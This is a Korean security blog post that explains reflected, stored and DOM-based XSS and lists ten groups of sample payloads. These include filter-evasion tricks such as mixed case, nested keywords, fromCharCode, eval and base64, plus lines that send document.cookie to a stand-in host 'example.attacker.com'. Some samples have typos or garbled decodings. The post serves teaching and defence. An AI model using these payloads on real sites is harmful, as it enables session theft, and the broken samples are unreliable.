XSS
- XSS(Cross-Site-Scripting)은 공격자가 애플리케이션에 스크립트를 삽입하고 해당 스크립트가 사용자의 웹 브라우저에서 실행되는 형태의 공격을 의미
- 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 그대로 사용할 경우 주로 발생하는 취약점
- 많이 발견되는 공격 형태는 사용자의 인증 (세션) 정보를 탈취하거나 스크립팅으로 할 수 잇는 비정상적인 기능을 수행하는 공격이 주를 이룸
XSS 공격 종류 및 공격 기법
Reflected XSS
- Reflected XSS는 메시지나 검색 결과와 같은 HTTP Request가 서버에 전송되고 전송된 값의 일부 또는 전체가 응답에 포함되어 서버에서 반사되는 형태의 공격
- Non-Persistent Cross-Site Scripting이라고 함
- 주로 이메일이나 다른 애플리케이션 또는 메시지와 같은 형태로 전달되며, 링크 클릭을 유도하는 형태로 이루어짐
Stored XSS
- Stored XSS는 주입된 스크립트가 서버 (데이터베이스)에 저장되고 이후에 사용자 요청이 있을 경우 공격자가 삽입한 스크립트가 포함된 메시지 (HTTP Response)가 사용자에게 전달되어 실행되는 형태의 공격을 말함
- Persistent Cross-Site Scripting이라고 함
DOM-Based XSS
- DOM-Based XSS는 피해자의 웹 브라우저에서 DOM(Document Object Model) 환경을 수정하여 클라이언트 측 코드가 실행되는 형태의 XSS 공격
- HTTP (HTTP Response) 자체는 변경되지 않지만 페이지에 포함된 클라이언트 측 코드는 DOM 환경 변조로 인해 실행
- Reflected 및 Stored XSS와는 다르게 서버를 거치지 않고 실행되는 형태의 공격
XSS 공격 예시 #1 Basic
<SAMPLE>
<script>alert('xss');</script>
<SAMPLE>
<script>alert('document.cookie');</script>
<SAMPLE>
<script>loation.href="http://example.attacker.com";</script>
XSS 공격 예시 #2 Using IMG Tag
<SAMPLE>
<img src=# onerror=alert('xss')></img>
<SAMPLE>
<img src=# onerror=location.href="http://example.attacker.com"></img>
XSS 공격 예시 #3 Using IFRAME Tag
<SAMPLE>
<iframe src="javascript:alert('xss');"></iframe>
<SAMPLE>
<iframe src=# onmouseover="alert(document.cookie)"></iframe>
XSS 공격 예시 #4 None Using Tag
<SAMPLE>
";%0aalert(document.cookie);//
<SAMPLE>
";%0alocaton.hrer="http://example.attacker.com";//
XSS 공격 예시 #5 Mixed uppercase and lowercase
<SAMPLE>
<sCRipT>aLeRt('ss');</sCriPt>
<SAMPLE>
<scRIpt>alert(doCuMEnt.coOkiE);</sCripT>
<SAMPLE>
<ImG src=# onerror=AlerT('xss')></iMg>
XSS 공격 예시 #6 Keyword overlap
<SAMPLE - before filtered>
<scrscriptipt>alert('xss');</scrscriptipt>
<SAMPLE - after filtered>
<script>alert('xss');</script>
<SAPLE - befor filtered>
<scrscriptipt>alert(docudocumentment.coocookiekie);</scrscriptipt>
<SAMPLE - after filtered>
<script>alert(document.cookie);</script>
XSS 공격 예시 #7 Using fromCharCode
<SAMPLE>
<script>alert(String.fromCharCode(88,83,83))</script>
<SAMPLE>
<img src=javascript:alert(String.fromCharCode(88,83,83))>
XSS 공격 예시 #8 Using eval
<SAMPLE>
";%0avar%20a="ale";var%20b="ale";var%20b="rt('"var%20c="xss');";eval(a+b+c);
<SAMPLE-URL Decoding>
[\r\n]
var a="ale";var b="rt('";var c="xss');";eval(a+b+c);
<SAMPLE-eval>
alert('xss');
XSS 공격 예시 #9 Base64 Encoding
<SAMPLE>
<img
onload="eval(atob('ZG0jdW1lbnQubG9jYXRpb249lmh0dHA6Ly9leGftcGxILmF0dGFja2VyLmNvbS8iK2RvY3VtZW50LmNvb2tpZQ=='))">
<Base63 Decoding>
<img
onload="eval(atob('document.location="http://example.attacker.com/"+document.cookie'))">
XSS 공격 예시 #10 META using data
<SAMPLE>
<META HTTPEQUIV="refresh" CONTENT="0; url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<Base64 Decoding>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
base64,<script>alert('XSS'></script>">
결론
XSS 공격 및 CSRF 전부 다 포스팅을 하려고 하였는데 너무 길어질 것 같아서 포스팅을 나눠서 해야겠다.
XSS 공격은 쿠키 정보등을 탈취 당할수 있기도하고, 비정상적인 기능을 수행하는 공격이다.
대응책으로 가장 좋은 방법은 웹 페이지 및 검색 가능한 곳에 스크립트 언어 작성을 불가하게 하거나 특정 스크립트 태그만 사용 가능하도록 하는 게 좋다.
'정보보안 > 모의해킹' 카테고리의 다른 글
Path Traversal(디렉토리 접근) 공격 예시 및 대응 (0) | 2024.06.25 |
---|---|
CSRF (Cross-Site Request Forgery) (0) | 2024.06.24 |
루트킷 (RootKit) (0) | 2024.06.19 |
[모의해킹] 백도어(Backdoor)와 백도어의 종류 (패스워드 크래킹, 루트킷 등) (0) | 2024.06.17 |
[모의해킹] 중간자공격 (Man In The Middle Attack, MITM) (0) | 2024.06.14 |